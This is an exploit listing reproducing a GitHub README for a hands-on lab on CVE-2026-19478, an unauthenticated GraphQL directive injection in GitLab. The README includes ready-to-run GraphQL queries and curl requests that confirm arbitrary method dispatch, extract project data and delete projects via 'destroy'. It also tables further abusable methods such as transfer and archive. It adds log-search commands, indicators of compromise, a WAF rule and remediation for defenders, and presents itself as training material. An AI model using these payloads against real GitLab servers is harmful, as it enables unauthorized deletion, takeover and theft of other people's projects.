Sploitus

Exploit for CVE-2026-19478

githubexploit Β· 2026-08-22

Exploit Code

README412 lines
## https://sploitus.com/exploit?id=984EBFC8-DFDC-570D-B24C-33816EBAC399
# CVE-2026-19478 β€” GitLab GraphQL @gl_introduced Directive Injection

> **Unauthenticated Remote Code Injection via GraphQL Directive in GitLab CE/EE β€” Delete Any Public Project With a Single HTTP Request**

A hands-on penetration testing lab that reproduces CVE-2026-19478, a critical (CVSS 9.4) vulnerability in GitLab's GraphQL API. The `@gl_introduced` directive allows unauthenticated attackers to execute arbitrary Ruby methods on server-side objects β€” including project deletion, data exfiltration, and ownership transfer β€” with zero authentication.

This lab runs a **real vulnerable GitLab CE 19.2.0** instance in Docker for realistic exploitation practice.


## Table of Contents

- [Vulnerability Summary](#vulnerability-summary)
- [How the Exploit Works](#how-the-exploit-works)
- [Attack Flow Diagram](#attack-flow-diagram)
- [Lab Setup](#lab-setup)
- [Exploitation Guide](#exploitation-guide)
- [Exploit Script Usage](#exploit-script-usage)
- [Detection and Indicators of Compromise](#detection-and-indicators-of-compromise)
- [Remediation](#remediation)
- [References](#references)
- [Disclaimer](#disclaimer)
- [Connect With Us](#connect-with-us)

---

## Vulnerability Summary

| Field | Value |
|---|---|
| **CVE ID** | [CVE-2026-19478](https://nvd.nist.gov/vuln/detail/CVE-2026-19478) |
| **CVSS Score** | **9.4 (Critical)** |
| **Product** | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| **Vulnerability Type** | Code Injection / Arbitrary Method Execution (CWE-94) |
| **Attack Vector** | Network (Remote) |
| **Authentication** | **None required** |
| **User Interaction** | None |
| **Attack Complexity** | Low |
| **Affected Versions** | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| **Patched Versions** | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| **Discovered By** | hiimguardian (via HackerOne) |
| **Patch Date** | August 17, 2026 |

### Impact

An unauthenticated remote attacker can:

- **Delete** any public project permanently
- **Exfiltrate** internal data, admin tokens, and secrets
- **Modify** project visibility, ownership, and settings
- **Execute** arbitrary Ruby methods on the server-side Project model
- **Archive** or **transfer** projects without authorization

---

## How the Exploit Works

### The @gl_introduced Directive

GitLab uses a custom GraphQL directive `@gl_introduced(version: "X.Y")` to support rolling deployments. When a newer GitLab version adds a field to the GraphQL API, older instances handle queries referencing those new fields gracefully by returning `null` instead of erroring.

### The Vulnerable Code Path

**File:** `lib/gitlab/graphql/version_filter/future_field_fallback.rb` (Lines 14-36)

**Step-by-step breakdown:**

1. **FutureFieldFilter** scans incoming GraphQL queries. When a field has `@gl_introduced(version)` with a version newer than the current server, it strips the field and sets `context[:contain_future_fields] = true`.

2. **IntroducedTracer** restores the original query document at execution time, putting the stripped fields back into the AST.

3. **FutureFieldFallback#get_field** intercepts every field lookup during execution. It checks three conditions:
   - Is `contain_future_fields` flag set? βœ…
   - Is the field absent from the schema? βœ…
   - Does the name NOT start with `__`? βœ…
   - **Is the field name safe?** ❌ **No check exists!**

4. When all three checks pass, it synthesizes a new `GraphQL::Schema::Field` with **no resolver class**.

5. In **graphql-ruby**, a field without a resolver resolves by calling `object.public_send(field_name)` on the underlying Ruby object β€” converting the attacker's field name into an arbitrary method call on the Project ActiveRecord model.

### The Fix (19.2.4+)

GitLab's patch replaces implicit method dispatch with an explicit `NilResolver` that returns `nil` unconditionally, preserving rolling-deploy compatibility while eliminating arbitrary method execution:

```ruby
# BEFORE (vulnerable) β€” no resolver β†’ method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# β†’ object.public_send(field_name) ← ARBITRARY METHOD CALL

# AFTER (patched) β€” explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← always returns nil
```

---

## Attack Flow Diagram

```
                    ATTACKER (unauthenticated)
                              β”‚
                              β”‚  POST /api/graphql
                              β”‚  { project(fullPath: "victim/repo") {
                              β”‚      name
                              β”‚      destroy @gl_introduced(version: "99.0")
                              β”‚  }}
                              β”‚
                              β–Ό
               β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
               β”‚     GitLab GraphQL API        β”‚
               β”‚     (no auth required)        β”‚
               β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                              β”‚
                              β–Ό
               β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
               β”‚   1. FutureFieldFilter        β”‚
               β”‚   "destroy" has @gl_introducedβ”‚
               β”‚   version 99.0 > 19.2.0      β”‚
               β”‚   β†’ Strip field              β”‚
               β”‚   β†’ Set contain_future_fields β”‚
               β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                              β”‚
                              β–Ό
               β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
               β”‚   2. IntroducedTracer         β”‚
               β”‚   β†’ Restore original query   β”‚
               β”‚   "destroy" is back in AST   β”‚
               β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                              β”‚
                              β–Ό
               β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
               β”‚   3. FutureFieldFallback      β”‚
               β”‚   "destroy" not in schema? βœ“  β”‚
               β”‚   Flag set? βœ“                 β”‚
               β”‚   Not __introspection? βœ“      β”‚
               β”‚   β†’ Synthesize field          β”‚
               β”‚   β†’ NO RESOLVER attached      β”‚
               β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                              β”‚
                              β–Ό
               β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
               β”‚   4. graphql-ruby resolution  β”‚
               β”‚   No resolver found β†’         β”‚
               β”‚   object.public_send(:destroy)β”‚
               β”‚                               β”‚
               β”‚   Project.find("victim/repo") β”‚
               β”‚          .destroy()           β”‚
               β”‚                               β”‚
               β”‚   β–ˆβ–ˆ PROJECT DELETED β–ˆβ–ˆ        β”‚
               β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

---

## Lab Setup

### Prerequisites

- **Docker** and **Docker Compose** installed
- Minimum **4 GB RAM** available for Docker (GitLab is resource-heavy)
- **Python 3** (for the exploit script)
- Web browser or `curl` / `httpie` for API testing

### Quick Start β€” Real GitLab CE 19.2.0 (Vulnerable)

```bash
# Clone or navigate to the lab directory
cd CVE-2026-19478

# Pull and start the vulnerable GitLab instance
docker compose up -d

# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable

# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh
```

### Access Points

| Service | URL | Credentials |
|---|---|---|
| GitLab Web UI | http://localhost | `root` / `P@ssw0rd123!` |
| GraphQL API | http://localhost/api/graphql | None required |
| GraphQL Explorer | http://localhost/-/graphql-explorer | Login required |
| SSH | localhost:2222 | β€” |

### Lightweight Alternative (Simulated)

For machines with limited resources or for faster startup:

```bash
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000
```

### Stop / Full Reset

```bash
# Stop the lab
docker compose down

# Full reset (removes all data volumes)
docker compose down -v
```

---

## Exploitation Guide

### Level 1 β€” Reconnaissance (Unauthenticated)

**Check the server version:**

```bash
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}
```

**Enumerate public projects via GraphQL (no auth):**

```graphql
{
  projects(membership: false) {
    nodes {
      id
      name
      fullPath
      visibility
    }
  }
}
```

**Discover the @gl_introduced directive via schema introspection:**

```graphql
{
  __schema {
    directives {
      name
      description
      args { name type { name } }
      locations
    }
  }
}
```

### Level 2 β€” Trigger the Vulnerability

Use `@gl_introduced` with a **future version** on a field that **doesn't exist** in the schema:

```graphql
{
  project(fullPath: "root/pwnsystem") {
    name
    class @gl_introduced(version: "99.0")
  }
}
```

If vulnerable, `class` returns the Ruby class name (`"Project"`), confirming arbitrary method dispatch.

### Level 3 β€” Data Exfiltration

```graphql
{
  project(fullPath: "root/pwnsystem") {
    name
    object_id @gl_introduced(version: "99.0")
    to_s @gl_introduced(version: "99.0")
  }
}
```

### Level 4 β€” Destructive Exploitation

> **WARNING:** The following will permanently delete the project.

```graphql
{
  project(fullPath: "root/pwnsystem") {
    name
    destroy @gl_introduced(version: "99.0")
  }
}
```

**Other exploitable methods on GitLab's Project model:**

| Method | Impact |
|---|---|
| `destroy` | Permanently deletes the project |
| `archive` | Archives the project |
| `transfer` | Transfers project ownership |
| `attributes` | Dumps all database attributes |
| `repository` | Accesses the repository object |
| `members` | Lists project members |

### curl Examples

```bash
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq

# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq

# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq
```

---

## Detection and Indicators of Compromise

### Log Analysis

```bash
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log

# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
  awk -F. '$1 > 20 {print}'
```

### Indicators of Compromise (IOC)

| Indicator | Description |
|---|---|
| `@gl_introduced(version: "99.0")` | Exploitation attempt with unrealistically high version |
| Field names: `destroy`, `delete`, `update`, `transfer` | Targeting destructive ActiveRecord methods |
| Unexpected project deletions | Projects disappearing without admin action |
| Visibility changes | Public projects suddenly becoming private |
| Ownership transfers | Projects transferred to unknown users |

### WAF Rules

Block GraphQL requests containing `@gl_introduced` with high version numbers:

```nginx
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
    return 403;
}
```

---

## Remediation

1. **Patch immediately** β€” Update to GitLab 18.11.11+, 19.0.8+, 19.1.6+, or 19.2.4+
2. **WAF mitigation** β€” Block GraphQL requests containing `@gl_introduced` with high version strings at the reverse proxy/WAF level
3. **Audit logs** β€” Review project activity logs for unauthorized modifications, deletions, or visibility changes
4. **Access logs** β€” Search web server logs for exploitation patterns (see Detection section above)
5. **Incident response** β€” If exploitation is confirmed, check for data exfiltration and restore deleted projects from backups

---

---

### Poc credits

[CVE-2026-19478](https://github.com/davkharrr/CVE-2026-19478-PoC)

## References

- [GitLab Security Advisory β€” August 17, 2026](https://about.gitlab.com/releases/2026/08/17/security-release/)
- [OWASP A03:2021 β€” Injection](https://owasp.org/Top10/A03_2021-Injection/)
- [CWE-94: Improper Control of Generation of Code (Code Injection)](https://cwe.mitre.org/data/definitions/94.html)
- [OX Security: GitLab GraphQL CVEs Analysis](https://www.ox.security/blog/gitlab-graphql-cve-2026-19478-19650/)
- [Help Net Security: Critical GitLab Flaw](https://www.helpnetsecurity.com/2026/08/18/gitlab-critical-code-injection-flaw-cve-2026-19478/)
- [CyCognito: Emerging Threat Advisory](https://www.cycognito.com/blog/emerging-threat-cve-2026-19478-gitlab-unauthenticated-project-deletion-via-graphql-directive/)
- [The Hacker News: Critical GitLab GraphQL Flaw](https://thehackernews.com/2026/08/critical-gitlab-graphql-flaw-could-let.html)

---

## Disclaimer

This lab is built **exclusively for authorized security education and penetration testing training**. It must only be used in controlled, isolated environments that you own or have explicit written authorization to test.

**Do not** use the techniques, tools, or exploit code from this lab against any system without proper authorization. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide.

The authors and contributors are not responsible for any misuse or damage caused by this lab or its contents.

---

## Connect With Us


  
   
  



  Follow @pwnsystem on Instagram for daily cybersecurity tips, CVE breakdowns, and exploit walkthroughs.
  Connect with Punit Darji on LinkedIn for professional security insights and lab updates.


---